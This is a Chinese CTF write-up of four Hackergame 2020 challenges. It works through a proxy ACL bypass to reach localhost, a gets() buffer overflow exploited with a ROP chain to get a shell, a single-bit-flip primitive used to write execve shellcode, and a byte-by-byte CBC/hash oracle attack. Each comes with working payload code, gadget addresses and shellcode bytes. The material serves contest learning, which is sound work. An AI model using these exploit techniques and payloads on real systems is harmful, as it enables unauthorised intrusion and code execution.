Hackergame 2020 (第七届中科大信安赛) Writeup 0x02
Hackergame 2020 write up 0x02
这一部分是一些比较困难的题目, 解题过程略有艰辛.
因为之前几乎没接触过pwn
, 只是会IDA
的安装.(°ー°〃)
多谢NanoApe的鼓励让我有信心去攻破这些虽说很"基础"但是对我刚刚起步完全是"天书"的题目.
因为VMware的Kali Linux
又莫名其妙无法联网(其实是懒得修了), 为了对linux
程序进行调试, 我才安装了Kali Linux
的WSL
版本, 发现真的很香!
对于目前至多把linux
作为打CTF的工具的我来说, 因为不涉及到生产环境, 个人认为是极其方便的, 尤其是当WSL
遇到VSCode
, 有奇效.
废话不多说, 先从一道我比较熟悉的Web
题入手吧!
超安全的代理服务器
在 2039 年,爆发了一场史无前例的疫情。为了便于在各地的同学访问某知名大学「裤子大」的网站进行「每日健康打卡」,小 C 同学为大家提供了这样一个代理服务。曾经信息安全专业出身的小 C 决定把这个代理设计成最安全的代理。
提示:浏览器可能会提示该 TLS 证书无效,与本题解法无关,信任即可。
打开页面, 看到的是人畜无害的前端.
在源码里看到了这个:
<p style="display: none"> 一周工作 72 小时的美工上周住进了 ICU,界面难看也先凑合着用吧 </p>
(行吧, 原谅你还不成吗o( ̄▽ ̄)d
然后就想到抓包, 打开fiddler
或者HTTP Debuger Pro
之后, 无一例外地看到了这条信息:
其实是这两个软件的抓包原理都是通过代理抓包, 代理后的流量都变成了HTTP 1.1
到服务端判定就没通过.于是关掉代理, 又回去了首页, 注意到 推送(PUSH) 被很明显地加粗了, 一波搜索猛如虎: 浅谈 HTTP/2 Server Push 简单了解了一下PUSH
是怎么运作的, 但看起来还是要抓包了.
既然不能代理抓包, 自然而然就想到了通过硬件层面抓包的Wireshark
, 但是为了抓取HTTPS
的流量, 就不可避免地要想想TLS
的解密, 又是一波搜索猛如虎: Wireshark对HTTPS数据的解密 不过这里有一个蛮坑人的地方, 就是新版本的Wireshark
的选项卡中已经没有SSL
选项卡了, 对应功能被搬进了TLS
选项卡.
一波重启浏览器刷新之后, 终于收到了PUSH
的内容:
于是拿到了第一个flag
flag{d0_n0t_push_me}
问题来了, 那么第二个flag
去哪里找呢? 题目说到 “入侵管理中心” 又看到管理中心位于 http://127.0.0.1:8080/
以及help页面的相关描述:
1. 我们的服务只提供基于 **CONNECT** 的代理(欲知详情,请访问 [RFC 7231](https://tools.ietf.org/html/rfc7231#section-4.3.6))
2. 另外,你需要在你的 HTTP 请求头标中加入 Secret 来作为身份凭证, 例如:
Secret: [your secret here]
请注意 **Secret** 只有 60 秒有效期。
3. 我们使用一个访问控制列表来检查您的访问请求。只有匹配如下域名的请求,才会被代理:
- ustc.edu.cn
- www.ustc.edu.cn
在黑名单中的 IP 是无法被代理的:
- 全球单播地址
- 10.0.0.0/8
- 127.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
看来要学新东西了.看了看上述的文档, 又去搜索引擎查了查CONNECT, 因为要避过黑名单, 于是给域名加了条A
解析使得ustc.edu.cn.gztime.cc
指向127.0.0.1
(后来看官方是希望利用ipv6
的), 于是写了个requests
试验一下:
headers = {
"Host":"ustc.edu.cn.gztime.cc:8080",
"Secret":input("Secret : "),
}
r = requests.request('CONNECT', 'https://146.56.228.227/', headers=headers, verify=False)
print(r.text)
于是发现收到了200
请求…
但是然后呢???
又仔细看了看文档, 发现在收到200
请求后是以及建立了代理连接, 还需要进一步使用这个连接发送GET
请求, 而这一点是无法用requests
做到的, 于是用更底层的库吧, 连接成功后
send_str = 'CONNECT / HTTP/1.1\r\n'
send_str += 'Host: ustc.edu.cn.gztime.cc:8080\r\n'
send_str += 'Connection: keep-alive\r\n'
send_str += 'Secret: ' + secret + '\r\n'
send_str += 'Content-Length: 0\r\n\r\n'
s.sendall(send_str.encode('utf-8'))
# recive data
send_str = 'GET / HTTP/1.1\r\n'
send_str += 'Host: ustc.edu.cn.gztime.cc:8080\r\n'
send_str += 'Connection: keep-alive\r\n'
send_str += 'Secret: ' + secret + '\r\n'
send_str += 'Content-Length: 0\r\n\r\n'
s.sendall(send_str.encode('utf-8'))
而后终于收到一段文字, 服务器要求我们带一个Referer: 146.56.228.227
send_str += 'Referer: 146.56.228.227\r\n'
在曲折的探索之后, 终于拿到了我们的第二个flag
flag{c0me_1n_t4_my_h0use}
PS: 后期又知道了可以用nghttp https://146.56.228.227/
生活在博弈树上
PS: 又臭又长的题目描述我就不抄了
拿到题目附件, 当时完全不会pwn
的我魔改了一下程序测试了一下它的AI, 结果发现我是必败的.
不过井字棋后手至多平局这件事已经是常识了啊喂
(#
O′)`
于是查找CTF WIKI#stackoverflow才知道有种东西叫做ROP(Return Oriented Programming)也终于搞清楚了栈溢出具体能用来做什么
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
Read more
简单学习了一下之后也就学了十几个小时吧
得知了我们的第一个目标, 也就是第一关"始终热爱大地"的目标:
覆盖函数返回地址,使得函数运行结束时跳转到能获取flag
的地方。
这里引用一段官方题解中的内容:
打开源代码读过代码,我们就能轻易发现一个很危险的信号:
cpp printf("Your turn. Input like (x, y), such as (0, 1): "); gets(input); x = input[1] - '0'; y = input[3] - '0';
尽管很多初学 C 语言的同学会使用gets()
去读取一行字符串(至少我所观察到很多没有编程基础初学 C 语言的大一新生会这么做,因为确实“很方便”),但是这个函数是非常危险的:它不会限制输入的长度,可以构造出长度大于接受输入的数组长度的字符串,从而实现一些“意料之外”的事情。1988 年,知名的Morris Worm
就通过利用程序figure
中使用gets()
获取输入的问题,对当时互联网上的机器带来了巨大的破坏。
所以打开IDA
开启调试, 给gets
打个断点, 去找找它把我们的输入读到了哪里:
等到中断在断点处, 然后输入一段这样的文本:
(1,1)ccccccccccccccccccccccc
继续运行, 然后程序第二次停在了我们设置的gets
断点处, 打开栈视图(stack view), 看一看里面的东西, 这里我直接给出一些解释:
如果这样的话, 继续输入下去, 输入的东西迟早能覆盖掉main()
返回的地方!而从那里截获, 我们就可以让程序跳转到任何我们想去的地方了!
然后的问题是, 我们想让程序去到哪里?查看一下源码, 可以发现:
所以我们的思路是, 让程序跳转到0x402551
这个位置, 0x40, 0x25, 0x51
是@, %, Q
的16进制ASCII, 注意到我们的输入看起来是从右往左一行一行输入的, 所以我们只需要填充足够的字符, 然后在特定的位置放置Q%@
就可以达成目标, 于是我们的payload
可以是:
(1,1)cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccQ%@
输入后查看IDA, 发现:
随意白给两局, 本地输出:
You failed! See you next time~
What? You win! Here is your flag:
Send payload to server to get flag plz
于是发给服务器:
You failed! See you next time~
What? You win! Here is your flag:
flag{easy_gamE_but_can_u_get_my_shel1}
于是我们得到了第一题的flag
:
flag{easy_gamE_but_can_u_get_my_shel1}
这本来就是个挑衅
好了, 我们要更进一步了, 现在我们需要我们的pwntools
闪亮登场了!
先建议看看这篇文章: [漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶
现在的目标是getshell
对于也就是说, 我们需要调用syscall
让它运行/bin/sh
:
构造如下的寄存器后
call syscall
>rax 0x3b rdi /bin/sh rsi NULL 0 rdx NULL 0
如何向寄存器中写入数据呢?这里要用到
pop
: 将栈顶弹出到寄存器ret
: 返回调用处
这里我们可以利用ROPgadget
寻找一下需要的东西:
pop
和ret
$ ROPgadget --binary tictactoe --only "pop|ret" Gadgets information ============================================================ ...... 0x000000000043e52c : pop rax ; ret ...... 0x000000000040274b : pop rbx ; ret ...... 0x00000000004017b6 : pop rdi ; ret ...... 0x0000000000407228 : pop rsi ; ret
syscall
$ ROPgadget --binary tictactoe --only "syscall" Gadgets information ============================================================ 0x0000000000402bf4 : syscall
似乎万事俱备, 只差/bin/sh
没有了.
搜索内存也没有.
怎么办.
…
我们有gets
啊!
查看gets
附近的寄存器操作:
.text:000000000040240D lea rax, [rbp+var_90]
.text:0000000000402414 mov rdi, rax
.text:0000000000402417 mov eax, 0
.text:000000000040241C call gets
这里需要知道的是:
lea
: 将对应地址(后者)传送到指定的的寄存器(前者)mov
: 这里是将一个寄存器(后者)的内容传送到指定的的寄存器(前者)
于是这一段的实际意思就是说:
将要存数据的地址传递给rdi
寄存器后调用gets
就可以让gets
把输入写到地址去!我们就可以写入/bin/sh
到某个地址了!
那么我们让它写入到bss段
, 介绍: 浅谈程序中的text段、data段和bss段, 而bss段
位于地址的最后方, 我们随便可以找一个来用, 比如0x4a69b0
(可以在IDA中找一下)
这里我们用到pwntools
里面的p64()
函数来拼接对应的payload
:
# 到我们要改动的 main 函数返回的地方的填充
padding = b'(1, 1)' + ('c' * 147).encode()
# 刚刚找到的一堆地址
pop_rdi_ret = 0x4017b6
pop_rax_ret = 0x43e52c
pop_rsi_ret = 0x407228
pop_rdx_ret = 0x43dbb5
gets_addr = 0x409e00
syscall = 0x402bf4
bss_addr = 0x4a69b0
payload = padding
payload += p64(pop_rdi_ret) + p64(bss_addr) # rdi [bss_addr]
payload += p64(gets_addr) # call gets
payload += p64(pop_rax_ret) + p64(0x3b) # rax 0x3b
payload += p64(pop_rdi_ret) + p64(bss_addr) # rdi "/bin/sh" <= [bss_addr]
payload += p64(pop_rsi_ret) + p64(0) # rsi NULL 0
payload += p64(pop_rdx_ret) + p64(0) # rdx NULL 0
payload += p64(syscall) # call syscall
payload += p64(0) * 4
使用pwntools
发送之后我们便成功拿到了shell
了!
也就是说, 可以为所欲为了~~~~
$ ls
......
$ cat flag
flag{Get_the_she11_1s_not_so_hard_fe2da47f6e}
这样, 我们就拿到了第二个flag
flag{Get_the_she11_1s_not_so_hard_fe2da47f6e}
超精准的宇宙射线模拟器
[聊天记录]
顶级黑客攻击可以直接控制宇宙射线击中在你的电脑上,翻转你内存中的某个比特位,然后拿到你电脑的权限读取你的数据,而且事后不会留下痕迹,杀人于无形
[聊天记录]
自己多去了解好吧顶级黑客,轮到你了!
你可以在内存中任意翻转一个 bit,但只能翻转一个哦~
下载之后先扔进IDA反编译一下x看到了一个基本能读的代码
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp-1Ch] [rbp-1Ch]
_BYTE *v4; // [rsp-18h] [rbp-18h]
unsigned __int64 v5; // [rsp-10h] [rbp-10h]
__asm { endbr64 }
v5 = __readfsqword(0x28u);
while ( 1 )
{
sub_401090(_bss_start, 0LL, 2LL, 0LL);
sub_401090(stdin, 0LL, 2LL, 0LL);
sub_401080("You can flip only one bit in my memory. Where do you want to flip?");
sub_4010B0("%p %d", &v4, &v3);
if ( v3 >= 0 && v3 <= 7 )
{
*v4 ^= 1 << v3;
sub_401080("Done.");
sub_4010C0(0LL);
}
sub_401080("Invalid input");
}
}
然后查看sub_4010C0
附近的汇编, 总觉得有点可操作性:
.text:0000000000401290 mov edi, 0
.text:0000000000401295 call sub_4010C0
但说不上来能做些什么, 于是记下401295
这个地址, 然后试着改了几个附近的地址, 本来不抱有什么希望, 但当我输入401296 4
的时候, 神奇的事情发生了:
You can flip only one bit in my memory. Where do you want to flip?
401296 4
Done.
You can flip only one bit in my memory. Where do you want to flip?
程序没有退出, 没有异常, 没有告诉我输入错误.
而是直接重新开始新的一轮???
这意味着: 无穷多的宇宙射线!!!
实际上, 这个比特位的翻转使得程序进入了一个循环, 可以让我翻转更多的位.
于是, 我们想干什么事情基本上都可以了.
比如说, getshell
整理一下思路, 有个东西叫做shellcode
, 是一段用于利用软件漏洞而执行的代码,shellcode
为16进制的机器码,因为经常让攻击者获得shell而得名
这里有一个可以用到的shellcode
如何写入呢?我们可以把程序的每一byte
读入后和我们想写入的比特异或, 之后再去flip
那些为1
的位置:
再次观察代码, 程序后面的位置可能会很难完整写入shellcode
所以我们把它写入后面的空闲区域, 并且在0x40129A
处写一个call
跳转到我们写入的区域
这里我选择把shellcode
写入0x401400
e = ELF('bitflip')
pos = 0x401400
data = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
ram = e.read(pos, len(data))
for i in range(len(data)):
x = ram[i] ^ data[i]
j = 0
while x > 0:
if x % 2 == 1:
now = format(pos + i , 'x')
io.sendline(f'{now} {j}')
io.recvline()
io.recvline()
j += 1
x >>= 1
call
后面需要跟着地址偏移量, 我算了好几次都无法跳转成功, 这里是我写入的机器码:(应该是算错了)
data = b'\xe8\x66\x01\x00\x00'
最后利用pwntools
和gdb
调试, 发现了问题:
原来我给跳转到0x401405
去了ヽ(*。>Д<)o゜>)
好吧那就写入到0x401405
去吧
于是
pos = 0x401405
再次检查, 成功写入.
之后用233333 9
这样的输入跳出if
语句
让程序运行我们写入的0x40129a
处的call
之后就运行了我们的shellcode
成功getshell
$ ls
......
$ cat flag
flag{B1t_fl1pfl1pfl1pfl1pfl1p_g0tshe11_owo_1f35e8c144}
获得flag
flag{B1t_fl1pfl1pfl1pfl1pfl1p_g0tshe11_owo_1f35e8c144}
PS: 为了这三道pwn的题目我用了比赛快结束前的近一天时间去学这方面的知识, 还遇到各种奇奇怪怪的概念问题, 幸亏最后找到了合适的学习材料, 这个坑挺深的, 希望我还能边爬边学下去orz
中间人
为了避开 Eve 同学的干扰,某一天 Alice 悄悄找到了你,想让你帮忙传送一些加密消息给 Bob。当然,出于一些安全方面的考虑,Alice 想了几种方法在消息里加入了一些校验。
出于能力限制, 做第一题都费了老鼻子劲, 最开始还在想怎么把key
搞出来too young too simple
也鉴于此, 我只提供第一问的探索过程.
首先, 是知道sha256
和AES
在干什么, 并且了解CBC_Mode
做了什么事情.
这里有个很好的文章:
CTF-WIKI#CBC
现在我们把AES加密视为一个黑箱, 输入16bytes明文, 输出等长度密文, 再来进行讨论.
而CBC模式有一个特点, 在于如果我们截取其中的一部分, 比如如果我们切去前32位hex(即16bytes)的数据, 在本地去除sha256
校验, 其实Bob
还是能够解密出后半部分明文的.
这一特点决定了我们后续爆破的基础之一: 可以对我们需要的部分Substring
而后, 我们考虑一下怎么让我们给Bob
的信息可以通过sha256
校验.
根据源码我们可以推断一下没有flag
的时候密文的长度是什么样子的:
依次增加name
的位数, 直到长度突然增加, 当name
长度为14
时得到密文长度突然增加为288
而之前的长度为256
, 根据pad()
函数中的计算方法, 可以得到, 当len(name) == 14
时, 整段明文的长度为256
.
而已知的内容的长度分别是(按16进制位数记)
iv -> 32
sha256 -> 64
len("Thanks for taking my flag: ".encode('utf-8').hex()) -> 56
设flag.encode('utf-8').hex()
长度为则有如下式子:
解得由于这是16进制位数, 故可得flag
长度为45
直到了这个就又向着最终的目标前进了一步: 可以精确地把我们的flag
一位一位用name
顶到新的区块中
那我们怎么才能猜测flag
的内容呢?
举个例子, 假如flag
的最后一位是}
, 那我可以通过构造一个适当长度的name
使得某个区块的开头第一个字符是}
, 为了方便计算长度, 我们把这个区块用已知的内容补全, 比如说可以补全为}000000000000000
这时候它的sha256
值我们是可以计算出来的, 将他们两个拼接后转为hex()
可得:
>>> ('}000000000000000'.encode('utf-8') + sha256('}000000000000000'.encode('utf-8')).digest()).hex()
'7d303030303030303030303030303030
1c36d43bac2868077e1db0d2385ccaef
ddb14d2158adfc9cc6ada7f59a793f68'
其中开头的7d
就是}
的16进制编码, 而此时, 如果我把7d
截取掉, 将剩下的部分作为extra
告诉Alice
, 则对于Alice
来说, 她最后拼接出的内容就会是:
[ n * 32 ]
??303030303030303030303030303030 => x000000000000000
1c36d43bac2868077e1db0d2385ccaef => sha256
ddb14d2158adfc9cc6ada7f59a793f68 => sha256
其中的??
将会是她手里的flag
的最后一位字符的16进制编码了.
如果我猜对了??
所表示的字符, 将这一段区块截取出来后发给Bob
, 那么我就可以通过Bob
的回复得知猜测的正确性了, 当知道了一位之后, 只需要把我知道的内容作为补全的开头, 就可以继续猜测下一位了.
于是其实对于Alice
给我们的密文, 有如下样子:
3348610a2281760809708a551a314293 => 'original_iv' => useless
b6c9792e770822b35cfbadc2a3ad04da => 'Thanks 000000000' => useless
7c84e58fec6d80dabd8b94f8f373653a => ' for taking my f' => useless
4ecc5403085d838020ac48ea0743fb7b => 'lag: flag{xxxx_x' => useless
02118f595dc8baf19df8b5d5371257d3 => 'xxx_xxxx_xxxx_xx' => useless
edec310e80ff189e1786c96ac61c822e => 'xx_xxxx_xxxx_xxx' => let it be my iv
432909e78e560ad1f6c7d736dd4cb266 => 'x}' + 'padding' => try to find x
977d8243c0ee5f8a249c91cbb2f12fbd => 'useful_sha256'
ae002a177401da29c11a1b87ea503e59 => 'useful_sha256'
5b6c88ed510a03e9d42fa133d76759e7 => 'AES_padding'
37cacdeeaa4b9730bc49b5dd7c9a1800 => 'original_sha256' => useless
777a725e6bd444f51aeb2e3039a4618b => 'original_sha256' => useless
0ae35ce2b8686bab4e869c3a77eb5d3d => 'ori_AES_padding' => useless
所以在这种情况下, 我们的思路就是:
- 令
i
为0
, 即flag
已知部分的长度 - 先构造一个
name
使得flag
的倒数第i + 1
位到下一个区块, 令那一位是x
即有如下形式:[n * 32][x_______________][m * 32]
- 对于每一个可能的
x
- 将
x
所在的区块用flag
已知的内容开头并补全区块, 具体的内容可随意, 这里我为了方便直接使用pad()
补全.令这个补全后的区块为padded
.PS: 其实这里不做补全都可以, 我这样只是为了后期截取的方便.
- 计算
sha256(padded).digest()
并附加到padded
之后, 形成我们的block
而这段block
截取掉前面已知的字符数i
之后便是我们需要的extra
了 - 发送给
Alice
, 得知密文后截取发给Bob
, 如果回复是Thanks
则证明我们的猜测正确了, 记录下来x
到flag
的已知部分的最前面, 跳出循环.
- 将
于是, 我们就可以按位猜测flag
的内容了.
下面是实际的实现代码:
def gen_code(code, offset):
padded = pad(code)
payload = padded + sha256(padded).digest()
return bytes.fromhex(pad(payload).hex()[2 * offset:])
io = remote('202.38.93.111', '10041')
io.recv()
io.sendline(token)
io.recv()
io.sendline('1')
io.recv()
AES_key = os.urandom(16)
flag_text = ''
for i in range(len(flag_text), 45):
padding = ('0' * (8 + i)).encode('utf-8')
for c in range(256):
payload_len = int((len(flag_text) + 1)/16)
extra = gen_code((chr(c) + flag_text).encode('utf-8'), i + 1)
io.sendline('Alice')
io.recv()
io.sendline(padding.hex())
io.recvuntil(b'say? ')
io.sendline(extra.hex())
raw = io.recvuntil(b'to? ')
ans = raw[53:]
io.sendline('Bob')
io.recv()
io.sendline(ans[160: 320 + payload_len * 32])
res = io.recv()
if 'Thanks' in res.decode('utf-8'):
print(res)
flag_text = chr(c) + flag_text
print(f'now at {len(flag_text)} : {flag_text}')
break
这里有一个极其坑人的事情:flag的最后一位居然是
\n`
(╯°□°)╯︵ ┻━┻) (╯°□°)╯︵ ┻━┻) (╯°□°)╯︵ ┻━┻)
运行到最后:
now at 45 : flag{U5E_H4sh_as_MAC_1s_n0t_s4fe_f0030a4359}
于是得到flag
:
flag{U5E_H4sh_as_MAC_1s_n0t_s4fe_f0030a4359}
>>> 0x02 END